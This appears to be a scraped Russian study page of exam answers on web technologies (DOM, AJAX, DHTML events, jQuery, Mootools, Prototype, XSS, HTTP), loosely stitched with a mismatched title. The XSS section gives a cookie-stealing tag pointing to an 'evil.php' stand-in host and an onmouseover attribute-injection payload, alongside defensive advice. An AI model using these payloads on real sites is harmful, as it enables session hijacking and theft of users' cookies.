Главная Обратная связь

Дисциплины:

Архитектура (936)
Биология (6393)
География (744)
История (25)
Компьютеры (1497)
Кулинария (2184)
Культура (3938)
Литература (5778)
Математика (5918)
Медицина (9278)
Механика (2776)
Образование (13883)
Политика (26404)
Правоведение (321)
Психология (56518)
Религия (1833)
Социология (23400)
Спорт (2350)
Строительство (17942)
Технология (5741)
Транспорт (14634)
Физика (1043)
Философия (440)
Финансы (17336)
Химия (4931)
Экология (6055)
Экономика (9200)
Электроника (7621)






Почему надо хранить в куках хеш случайно сгенерированной строки, а не хеш пароля? 2 часть



 

<xml xmlns:abc="http://www.allxml.h1.ru/abc">

<abc:element><subelement attr="value">Some text</subelement></abc:element>

</xml>

 

...эквивалентно:

 

<xml xmlns:abc="http://www.allxml.h1.ru/abc">

<abc:element><abc:subelement abc:attr="value">Some text</abc:subelement></abc:element>

</xml>

 

Использование пространств имен DOM 2 обеспечивается введением нескольких дополнительных функций.

DOM Level 3 ...

 

...На данный момент это последняя версия DOM. Спецификация этой модели состоит из трех частей: DOM3-ASLS, DOM3-Core, DOM3-Events, DOM3-XPath.

 

DOM ASLS (Abstract Schemas and Load and Save specification) – эта спецификация определяет схемы DTD и XML Schemas, а также методы Load and Save. Что такое DTD и XML Schemas вы можете узнать в документах по XML. Методы Load and Save, как можно догадаться из названия должны загружать и сохранять содержимое DOM-модели. Спецификация DOM3 Events – описывает модель сообщений и в основном базируется на DOM2 Events. Особенного внимания заслуживает спецификация DOM3-XPath. Эта спецификация определяет простой набор интерфейсов для доступа к дереву DOM через XPath 1.0.

 


11.Технология DHTML. Методология программирования AJAX.

Одна из популярных технологий, позволившая сделать страницы более динамическими и обеспечить новые возможности — это динамическая загрузка и вставка данных в документ, получившая название AJAX.

AJAX (от англ. Asynchronous JavaScript and XML — «асинхронный JavaScript и XML») — это подход к построению интерактивных пользовательских интерфейсов веб-приложений, заключающийся в «фоновом» обмене данными браузера с веб-сервером. В результате при обновлении данных веб-страница не перезагружается полностью, и веб-приложения могут быть сделаны более быстрыми и удобными.

Технология DHTML. Объектная модель документа, управление основанное на событиях.

AJAX — это не самостоятельная технология, а скорее концепция использования нескольких смежных технологий. AJAX базируется на двух основных принципах:



1)использование технологии динамического обращения к серверу «на лету», без перезагрузки всей страницы полностью: с использованием XMLHttpRequest (основной метод); через динамическое создание дочерних фреймов; через динамическое создание тега <script>. 2)использование DHTML для динамического изменения содержания страницы;

Преимущества:1)Экономия трафика. Благодаря тому, что часто вместо загрузки всей страницы достаточно, загрузить только небольшую изменившуюся часть. 2)Уменьшение нагрузки на сервер. AJAX позволяет несколько снизить нагрузку на сервер, к примеру, в Gmail когда вы отмечаете прочитанные письма, серверу достаточно внести изменения в базу данных и отправить клиентскому скрипту сообщение об успешном выполнении операции, вместо необходимости повторно создавать страницу и отсылать ее клиенту. 3)Увеличение реакции интерфейса Поскольку нужно загрузить только изменившуюся часть, то пользователь видит результат своих действий быстрее.

Недостатки: 1)Интеграция со стандартными инструментами браузера. Динамически создаваемые страницы не регистрируются браузером в истории посещения страниц, поэтому не работает кнопка «Назад» предоставляющая пользователям возможность вернуться к просмотренным ранее страницам.2)Другой недостаток изменения контента страницы при постоянном URL, заключается в невозможности сохранения закладки на желаемый материал. Частично решить эти проблемы можно с помощью динамического изменения идентификатора фрагмента (части URL после #), что позволяют многие браузеры 3)Динамически загружаемое содержание недоступно поисковикам Поисковые машины не могут выполнять JavaScript, поэтому разработчики должны позаботиться об альтернативных способах доступа к содержимому сайта. 4) Старые методы учета статистики сайтов становятся неактуальными Многие сервисы статистики ведут учет просмотров новых страниц сайта, для сайтов страницы которых широко используют AJAX, такая статистика теряет актуальность.



 

 


12.Технология DHTML. Событийная модель программирования, DOM, XML – подходы.

В объектной модели DHTML с каждым элементом страницы можно связать определенное действие пользователя: щелчок кнопкой мыши, нажатие клавиши клавиатуры, перемещение в области элемента курсора мыши и т. д. Эта технология основана на фундаментальном понятии события в операционных системах с графическим интерфейсом пользователя. Каждое действие пользователя является причиной возникновения сообщения в операционной системе, которые представляются объектами в объектной модели DHTML. Свойства объектов-событий можно использовать во встраиваемых сценариях для получения информации о событии. При возникновении любого события динамически создается свойство event объекта window, входящего в объектную модель и представляющего окно браузера. Это свойство и является объектом, соответствующим сгенерированному событию.

Цикл жизни события

Любое событие имеет свой "жизненный" цикл: от момента возникновения действия или условия, являющегося причиной генерирования события, до выполнения последнего оператора обработчика события или финальных действий браузера. Цикл жизни любого типичного события включает следующие этапы:

Происходит действие пользователя или возникает условие, которое возбуждает событие.

Тотчас же корректируется объект event, чтобы отразить параметры возникшего события.

Событие генерируется — это и есть истинное сообщение о возникшем событии.

Вызывается обработчик событий элемента-источника события, который выполняет определенные программистом действия и завершает свою работу.

Событие передается вверх по иерархии объектов (bubble up) и вызывается обработчик события объекта, являющегося родителем объекта-источника события. Это "всплытие" вверх по иерархии объектов продолжается, пока не будет достигнут самый верхний объект иерархии — объект window, или обработчик события какого-либо объекта не аннулирует событие.

Выполняются заключительные действия по умолчанию, если таковые определены, но при условии, что событие не было аннулировано.

Если для элемента-источника события не определен обработчик событий, то в иерархии объектов определяется его родитель, и обработчик событий родителя выполняет соответствующие действия по обработке события. и так происходит до корневого объекта иерархии.

Какие удобства предоставляет подобная технология обработки событий? Прежде всего, нет необходимости для каждого элемента писать процедуру обработки события и присоединять ее к нему. Достаточно написать одну процедуру для элемента-родителя, и она будет обрабатывать события, возбуждаемые всеми порожденными родителем элементами. Это позволяет централизованно обрабатывать наиболее часто возникающие события, и, как результат, требует меньше усилий и времени для написания и поддержки кода процедур обработки событий.

Пример 10.3 демонстрирует технику передачи события вверх по иерархии объектов. В нем щелчки кнопкой мыши на всех элементах страницы обрабатываются централизованно обработчиком события элемента <BODY>, который является родителем всех элементов страницы.

Пример 10.3. Передача обработки события родителю

<HTML>

<HEAD><ТIТLЕ>Всплывание события</ТIТLЕ>

</HEAD>

<BODY ID='body' onclick="alert('Не надо щелкать!');">

<Н1 ID='head1'>Привет!</H1>

<Р ID='раrаg1'>Это простой пример, <В ID='bold1'>ну очень простой</В>

пример.

</BODY>

</HTML>

Щелчок на любом элементе документа приводит к отображению диалогового окна предупреждений из процедуры обработки события click объекта body.

Если к какому-нибудь элементу добавить собственный обработчик событий, то будут выполнены две процедуры: самого элемента и элемента родителя. Если элемент расположен достаточно глубоко в иерархии объектов, и каждый элемент, расположенный выше него, имеет также собственный обработчик событий, то неужели событие будет обрабатываться всеми обработчиками? Да, именно это и произойдет, если только какой-то обработчик не аннулирует "всплывающее" вверх по иерархии событие. Объект event имеет свойство cancelBubble, которое позволяет аннулировать событие, если установить его значение равным true. После этого соответствующее событие не существует, и обработчики этого события для всех, расположенных выше элементов, не вызываются. В примере 10.4 обработчик щелчка мыши выделенного элемента <в> аннулирует данное событие. Это приводит к тому, что при щелчке на нем никакого диалогового окна с сообщением не отображается.

Объект event

Как уже отмечалось, объект event создается автоматически всякий раз, когда возникает какое-либо событие. Этот объект не зависит от используемого языка создания сценария, и его использование в процедурах обработки событий для получения информации о сгенерированном событии является предпочтительным способом получения достоверной информации о событии.

Каждое событие характеризуется параметрами, которые передаются в сценарий через свойства объекта event. Существуют параметры, общие для всех типов событий (например, координаты курсора мыши в окне браузера) и специфические для определенного события (например, код нажатой клавиши для событий клавиатуры). Свойства объекта event, как и сам он, являются динамическими и создаются в зависимости от типа произошедшего события. При описании свойства, если не оговорено противное, подразумевается, что оно является общим для всех типов событий.

Свойство srcEiement определяет элемент документа, явившийся источником события. Оно может быть полезным при централизованной обработке событий элементом, расположенным выше в иерархии объектов документа истинного "виновника" события, и, в зависимости от типа элемента, программа-обработчик может предпринять соответствующие действия.

Важное свойство cancelBubble, аннулирующее событие и прекращающее передачу его на обработку вверх по иерархии объектов, рассмотрено немного ранее в этом же разделе.

Свойство returnvalue является булевым и возвращает значение true или false после завершения выполнения процедуры обработки события. При передаче события вверх по иерархии значение этого свойства можно использовать для альтернативной обработки события. Кроме того, если в обработчике события элемента, для которого определены действия по умолчанию, это свойство устанавливается равным false, то это отменяет выполнение действий по умолчанию. Одним из таких элементов является тег <А>, действием по умолчанию которого является переход по ссылке, задаваемой параметром HREF.

По значениям свойств aitKey, ctriKey и shiftKey элемента-источника события определяется, была ли нажата, соответственно, клавиша <Alt>, <Ctrl> или <Shift> в момент возникновения события. Значение свойства равно true, если клавиша была нажата, и false — в противном случае.

 

 

13.Технология DHTML. Различные подходы изменения web-страницы.

14.JavaScript – библиотеки. Обзор, достоинства, недостатки. Примеры.

jQuery — JavaScript фреймворк, фокусирующийся на взаимодействии JavaScript и HTML. Был опубликован на компьютерной конференции «BarCamp» в Нью-Йорке Джоном Ресигом в 2006.

Возможности:

• переход по дереву DOM, включая поддержку XPath как плагина

• события

• визуальные эффекты

• AJAX дополнения

• JavaScript плагины

jQuery — библиотека JavaScript, фокусирующаяся на взаимодействии JavaScript и HTML. Библиотека jQuery помогает легко получать доступ к любому элементу DOM, обращаться к атрибутам и содержимому элементов DOM, манипулировать ими. Также библиотека jQuery предоставляет удобный API по работе с Ajax.

Философия

Точно так же, как CSS отделяет визуализацию от структуры HTML, JQuery отделяет поведение от структуры HTML. Например, вместо прямого указания на обработчик события нажатия кнопки, управление передаётся JQuery, идентифицирующей кнопки и затем преобразовывающий его в обработчик события клика. Такое разделение поведения и структуры также называется принципом ненавязчивого JavaScript.

Использование

jQuery, как правило, включается в веб-страницу как один внешний JavaScript-файл:

<head>

<script type="text/javascript" src="путь/к/jQuery.js"></script>

</head>

Вся работа с jQuery ведётся с помощью функции $. Если на сайте применяются другие JavaScript библиотеки, где $ может использоваться для своих нужд, то можно использовать её синоним — jQuery. Второй способ считается более правильным, а чтобы код не получался слишком громоздким можно писать его следующим образом:

jQuery(function($) {

// здесь код скрипта, где в $ будет находиться объект, предоставляющий доступ к функциям jQuery

})

 

Работу с jQuery можно разделить на 2 типа:

Получение jQuery-объекта с помощью функции $(). Например, передав в неё CSS-селектор, можно получить jQuery-объект всех элементов HTML попадающих под критерий и далее работать с ними с помощью различных методов jQuery-объекта. В случае, если метод не должен возвращать какого-либо значения, он возвращает ссылку на jQuery объект, что позволяет вести цепочку вызовов методов согласно концепции текучего интерфейса.

Вызов глобальных методов у объекта $, например, удобных итераторов по массиву.

Типичный пример манипуляции сразу несколькими узлами DOM заключается в вызове $ функции со строкой селектора CSS, что возвращает объект jQuery, содержащий некоторое количество элементов HTML-страницы. Эти элементы затем обрабатываются методами jQuery. Например,

$("div.test").add("p.quote").addClass("blue").slideDown("slow");

находит все элементы <div> с классом test, а также все элементы <p> с классом quote, и затем добавляет им всем класс blue и визуально плавно спускает вниз. Здесь методы add, addClass и slideDown возвращают ссылку на исходный объект $("div.test"), поэтому возможно вести такую цепочку.

Методы, начинающиеся с $., удобно применять для обработки глобальных объектов. Например:

$.each([1,2,3], function() {

document.write(this + 1);

});

добавит на страницу 234.

Первое достоинство библиотеки JQuery, в том что она позволяет получить доступ к любому объекту кода, и успешно им манипулировать. Так же библиотека JQuery предоставляет удобный API интерфейс по работе с Ajax поэтому с помощью JQuery вы без особых проблем, сможете создать выезжающие панельки, мигающие кнопки,и всплывающие окна. Конечно это не все достоинства JQuery. Перед началом работы с JQuery её нужно скачать.

Введение в библиотеку Mootools 1.2

Mootools 1.2 (My Object Oriented Tools) – это легкая, но мощная библиотека JavaScript, предназначенная для облегчения интерактивного создания веб страниц с помощью JavaScript. В некотором смысле можно сказать, что многие действия, которые умеет Mootools, можно рассматривать как расширения CSS (Cascade Style Sheet – Каскадные таблицы стилей). Например, с помощью CSS можно изменить свойство какого-либо элемента при наведении курсора на него (свойство :hover), тогда как JavaScript распознает даже больше событий, спровоцированных пользователем (клик – «click», наведение курсором – «mouseover», нажатие различных клавиш и т.д.), а библиотека Mootools делает распознавание этих событий настолько простым, что этим просто невозможно не воспользоваться!

Ко всему прочему, у Mootools в запасе есть уйма интересных расширений, которые позволят вам не только изменять «на лету» свойства элементов (таких как свойство CSS :hover), но которые также позволяют вам изменять форму объектов, анимировать их движения и множество других возможностей.

Основа

В основу Mootools заложены основные функции библиотеки, которые упрощают выполнение основных задач, а также усиливают возможности уже существующих (остановимся более подробно на этом позже). Возможности, указанные в списке ниже являются только лишь примеры некоторых возможностей Mootools, которые не заменяют чтения полной документации по Mootools.

• Поиск значения (возвращает false, если значение не существует или 0, если существует) – $chk(значение);

• Возвращает целое число из указанного диапазона – $random (мин, макс);

• Позволяет с легкостью определять версию браузеров, их движком и возможностей.

Native

Эта часть библиотеки также содержит некоторые основные инструменты, которые позволяют манипулировать массивами (по сути списком значений или объектов), функциями, числами, строками, потоками данных и событиями. Вот некоторые из инструментов, представленных в части Native:

• Создавать скрипты, которые бы применяли какие-либо действия к каждому объекту массива – .each();

• Выбирать последний объект массива – getLast();

• Создавать событие, которое бы происходило каждые Х милисекунд – .periodical();

• Округлять дроби – .round();

• Конвертировать цвета из RGB в шестнадцетиричную систему исчисления – .rgbToHex().

Класс

Класс в JavaScript (в отличие от класса CSS) – это объект с некой функциональностью многоразового использования.

Элемент

Классы элементов предоставляют, вероятно, самый полезный функционал библиотеки Mootools. С помощью этих инструментов можно выбирать элементы Dom-а, манипулировать их свойствами и положением на странице, изменять их стиль CSS и многое другое. Вот, что можно делать с помощью некоторых из инструментов Mootools:

• Выбирать первый элемент DOM-а определенного типа, с определенным ID или определенного класса – .getElement();

• Выбирать все элементы DOM-а имеющие определенный тип, определенный ID или определенный класс – .getElements();

• Добавить определенный класс выбранному элементу – .addClass();

• Узнать значение свойства какого-либо элемента – .getProperty();

• Изменять или устанавливать значение свойства какого-либо элемента – .setProperty();

• Узнать значение свойства стиля какого-либо элемента – .getStyle();

• Изменить или установить значение свойства стиля какого-либо элемента – .setStyle();

• Узнать координаты элемента – .getCoordinates().

Утилиты

Утилиты Mootools предоставляют еще более удобные критерии поиска элементов на странице, включая событие domready, предоставляет дополнительные инструменты для запросов AJAX, упрощает работу с кукисами и даже включает в себя некоторый функционал, позволяющий объединить JavaScipt и ActionScript.

Спец. эффекты FX

Это, пожалуй, та часть Mootools, которая доставляет больше всего удовольствия и радости разработчикам. С помощью эффектов FX можно создавать эффекты передвижения, изменения формы, а также другие эффекты, которые добавляют анимации вашим объектам и элементам DOM.

С помощью Mootools можно:

создавать анимированные переходы между двумы значениями стиля (например увеличивать элемент <div>) – var myFx = new FX.Tween(элемент);

создавать анимированные переходы между множеством различных значений стилей (например, плавно увеличивать размер элемента <div>, когда изменяется увет заднего плана, а линия его границы становится толще) var myFx = new Fx.Morph(элемент).

Запросы

Эта часть Mootools содержит инструменты, упрощающие работу с запросом XMLHttpRequest (Ajax) JavaScript-a. Несмотря на то, запросы Mootools делают процесс запросов/ответов намного менее напряжным, они также предоставляют разработчику выбор между ответами в HTML или JSON (Javascript Object Notation).

Плагины

Плагины Mootools расширяют его основную функциональность, позволяя с легкостью манипулировать фнукиональность пользовательского интерфейса. Список плагинов Mootools включает в себя:

• Fx.Slide;• Fx.Scroll;• Fx.Elements;• Drag;• Drag.Move;• Color;• Group;• Hash.Cookie;• Sortables;• Tips;• SmoothScroll;• Slider;•Scroller;•Assets;• Accordion.

Главным достоинством является малое количество кода и простота настройки.

Prototype — JavaScript фреймворк, упрощающий работу с Ajax и некоторыми другими функциями. Несмотря на его доступность в виде отдельной библиотеки, он обычно используется программистами вместе с Ruby on Rails, Tapestry, script.aculo.us и Rico.

Заявлено, что данный фреймворк поддерживается следующими браузерами: Internet Explorer (Windows) 6.0+, Mozilla Firefox 1.5+, Apple Safari 2.0+ и Opera 9.25+. Поддержка данных браузеров также подразумевает, что фреймворк поддерживается также Camino, Konqueror, IceWeasel, Netscape 7+, SeaMonkey, и др., которые принадлежат этим же семействам.

Возможности

В Prototype присутствуют самые разные способы упрощения создания JavaScript приложений, от сокращённого вызова некоторых функций языка до сложных методов обращения к XMLHttpRequest. Ниже приведены некоторые примеры.

Функция $()

Для обращения к DOM элементу HTML страницы обычно используется функция document.getElementById:

document.getElementById("id_of_element")

Функция $() уменьшает код до:

$("id_of_element")

Но в отличие от функции DOM, функции $() можно передавать более одного аргумента и функция вернет массив (Array) объектов со всеми соответствующими элементами:

var ar = $('id_1', 'id_2', 'id_3');

for (i=0; i<ar.length; i++)

{

alert(ar[i].innerHTML);

}

Объектно-ориентированное программирование

Prototype также добавляет поддержку более традиционного объектно-ориентированного программирования.

Для создания нового класса используется метод Class.create(). Классу присваивается прототип prototype, который выступает в качестве основы для каждого экземпляра класса. Старые классы могут быть расширены новыми с помощью Object.extend.


15.Межсайтовый скриптинг XSS.

XSS (англ. Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости интерактивных информационных систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера они используют уязвимый сервер в качестве средства атаки на клиента.

Для термина используют сокращение «XSS», чтобы не было путаницы с каскадными таблицами стилей, использующих сокращение «CSS».

Сейчас XSS составляют около 15 % всех обнаруженных уязвимостей[1]. Долгое время программисты не уделяли им должного внимания, считая их неопасными. Однако это мнение ошибочно: на странице или в HTTP-Cookie могут быть весьма уязвимые данные (например, идентификатор сессии администратора). На популярном сайте скрипт может устроить DoS-атакy.

Классификация

По механизму исполнения атаки

Условно XSS можно разделить на активные и пассивные.

Пассивные

Пассивные XSS подразумевают, что скрипт не хранится на сервере уязвимого сайта, либо он не может автоматически выполниться в браузере жертвы. Для срабатывания пассивной XSS требуется некое дополнительное действие, которое должен выполнить браузер жертвы (например, клик по специально сформированной ссылке). Их также называют первым типом XSS.

Активные

При активных XSS вредоносный скрипт хранится на сервере, и срабатывает в браузере жертвы при открытии какой-либо страницы заражённого сайта. Их также называют вторым типом XSS.

Скриптинг через DOM

По каналам внедрения скрипта

Отсутствие фильтрации HTML-тегов в сообщениях пользователей

Некоторые форумы позволяют пользователю использовать HTML-теги для форматирования текста. Если отсутствует должный уровень фильтрации, злонамеренный пользователь может вставить такие теги <script>, который будет отправлять хакеру HTTP-Cookie пользователей, открывших некоторую тему форума или незаметно открывать произвольную ссылку в контексте браузера пользователя.

Подробнее:

 Злоумышленник, пользуясь имеющимися на сайте средствами наподобие «отправить комментарий» посылает комментарий, содержащий тег <script>.

 Написанный злоумышленником скрипт имеет доступ к пользовательским HTTP-Cookie. Скрипт ворует их, отправляя их на другой сайт (например, создав тег <img src="http://example.com/evil.php?cookie=1234">).

Для защиты от этого вида атак следует удалить все теги, кроме входящих в разрешённый список.

Отсутствие фильтрации атрибутов и их значений разрешённых тегов

Данная уязвимость, в отличие от предыдущей, не специфична для html-форматирования сообщений пользователя. Наиболее ярким примером её является тег img. Например: подставив в качестве URLизображения http://example.com/img.png" onmouseover="javascript:DoSomething();, мы «протаскиваем» в тег пользовательский скрипт. В частности, подобная уязвимость была обнаружена в известном форумном движке phpBB в 2002 году.

Не являются XSS, но не менее вредны и другие атаки: хакер может указать в качестве адреса сервер, имеющий узкий интернет-канал, парализуя его работу большим количеством запросов, или устроить с его помощью XSRF-атаку.

Для защиты от уязвимостей данного типа требуется жёсткая фильтрация, как названий атрибутов, так и их значений. Также следует запретить использование протоколов javascript: и data: во всех ссылках.

Такой же способ может быть использован путем вставки на странице изображения, сделанного через PHP-файл, содержащий как само изображение, так и вредоносный код.

Подмена кодировки в заголовке страницы

Современные браузеры пытаются определить кодировку страницы на ходу и интерпретируют html в соответствии с этой кодировкой. В случае, если тег title расположен до тега meta и заполняется пользовательскими данными, хакер может вставить злонамеренный html-код в кодировке UTF-7, обойдя таким образом фильтрацию таких символов, как < и ".

Для защиты от данной уязвимости следует явно указывать кодировку страницы до каких-либо пользовательских полей.

Прочие

Возможно использование XSS атаки совместно с внедрением SQL-кода.

При выполнении кода с использованием разных подходов - XML или DOM - есть небольшие различия. Вариант с использованием DOM чуть более гибкий по нескольким причинам:

• одному и тому же объекту можно добавлять несколько обработчиков с помощью addEventListener();

• если третий аргумент addEventListener() - true, обработчик может быть запущен в фазе перехвата, что невозможно сделать через XML;

• обработчики можно удалять с помощью функции removeEventListener(). Если вы задали обработчик в XUL, то вы сможете его там только заменить, но не удалить;

• при использовании DOM обработчики событий могут быть вынесены за пределы XML-содержимого. Поэтому их можно помещать в отдельный .js-файл.

Но и у XML-подхода есть одно преимущество: можно использовать фрагмент скрипта меньший, чем целая функция. Эта возможность может быть полезной для HTML, но в случае XUL, где рекомендуется структурированное программирование, пользы в этом не так уж много. Если XML-файлу предстоит долгая жизнь, обработчики событий в атрибутах указывать не рекомендуется.


16.Протокол HTTP. Структура HTTP-запроса.

HTTP - это протокол высокого уровня (а именно, уровня приложений), обеспечивающий необходимую скорость передачи данных, требующуюся для распределенных информационных систем гипермедиа. HTTP используется проектом World Wide Web с 1990 года.

HTTP основывается на парадигме запросов/ответов. Запрашивающая программа (обычно она называется клиент) устанавливает связь с обслуживающей программой-получателем (обычно называется сервер) и посылает запрос серверу в следующей форме: метод запроса, URI(Universal Resource Identifier - URI), версия протокола, за которой следует MIME-подобное сообщение (Multipurpose Internet Mail Extensions (MIME-Многоцелевое Расширение Почты Internet), содержащее управляющую информацию запроса, информацию о клиенте и, может быть, тело сообщения. Сервер отвечает сообщением, содержащем строку статуса (включая версию протокола и код статуса - успех или ошибка), за которой следует MIME-подобное сообщение, включающее в себя информацию о сервере, метаинформацию о содержании ответа, и, вероятно, само тело ответа. Следует отметить, что одна программа может быть одновременно и клиентом и сервером. Использование этих терминов в данном тексте относится только к роли, выполняемой программой в течение данного конкретного сеанса связи, а не к общим функциям программы.


Просмотров 944

Эта страница нарушает авторские права

allrefrs.ru - 2021 год. Все права принадлежат их авторам!